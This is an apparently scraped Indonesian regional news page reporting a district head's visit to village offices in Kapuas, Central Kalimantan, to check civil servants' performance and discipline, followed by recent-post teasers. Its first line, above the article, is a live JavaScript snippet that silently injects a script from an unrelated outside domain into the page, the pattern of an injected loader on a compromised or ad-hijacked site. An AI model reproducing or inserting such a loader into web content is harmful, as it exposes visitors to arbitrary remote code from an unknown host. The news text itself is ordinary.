(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Cek Kinerja ASN, Camat Selat Pantau Layanan Kelurahan


KANALKALIMANTAN. COM, KUALA KAPUAS – Meningkatkan kinerja Aparatur Sipil Negara (ASN), seluruh kantor kelurahan lingkup Kecamatan Selat, Kabupaten Kapuas, Kalimantan Tengah, didatangi Camat Selat, Yaya Setiabudi SSos, Kamis (4/8/2022).

Camat Selat, Yaya Setiabudi mengatakan, sebagai ASN harus bekerja sesuai dengan regulasi yang telah ditetapkan dan jangan sampai keluar dari rel yang telah ada.

“ASN harus bisa memberikan kontribusi pengabdian pada masyarakat bangsa dan negara, bisa dipertanggungjawabkan pada negara,” tegas Yaya.

Kinerja ASN harus lebih baik, pelayanan pada masyarakat harus meningkat, kemudahan pelayanan yang bersih harus dikedepankan. Selaku ASN harus memiliki SOP yang terukur jelas dalam pelayanan, dengan nilai budaya kerja jadi acuan dalam melaksanakan tugas.

 

Baca juga  : Tiga Nakes RSD Idaman Kota Banjarbaru Raih Penghargaan Tingkat Provinsi

“Diantaranya integritas, apa yang dilakukan sesuai ucapan, ini akan menunjukkan suatu komitmen, kemauan dan kemampuan harus selaraskan dalam sikap dan tindakan, ASN harus mengutamakan kepentingan dinas dari pada kepentingan pribadi. Disiplin, kesanggupan untuk mentaati aturan regulasi yang ada, kerjasama dan keteladanan ASN dalam memotivasi sebagai upaya menggerakkan orang lain untuk bersinergi,” jelas Camat Yaya Setiabudi.

Selanjutnya, seorang ASN harus bekerja sesuai dengan tupoksinya dan tetap mengacu kepada Undang-Undang dan peraturan yang menyangkut kepegawaian dan disiplin pegawai negeri sipil.

Terus tingkatkan kompetensi dan profesionalisme guna mendukung tugas pokok dan fungsinya, mampu memahami dan mengimplementasikan Peraturan Pemerintah Nomor 53 tahun 2010 tentang disiplin PNS.

“Sebagai Lurah kepada stafnya harus menegur, sehingga terhindar dari pelanggaran disiplin, dan sekecil apapun permasalahan yang menyangkut pelanggaran disiplin seorang ASN, segera ditindak dan di selesaikan sesuai dengan aturan yang ada,” pungkasnya.(Kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Desy Arfianty

Recent Posts

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

1 jam ago

Atlet HSU Raih 1 Emas dan 4 Perunggu Kejurprov Taekwondo 2024

KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More

1 jam ago

Peringatan Hari Bela Negara ke-76, Ini Kata Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More

4 jam ago

Liburan Berujung Maut, Dua Santri Tenggelam di Pantai Jorong

KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More

7 jam ago

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

19 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

21 jam ago

This website uses cookies.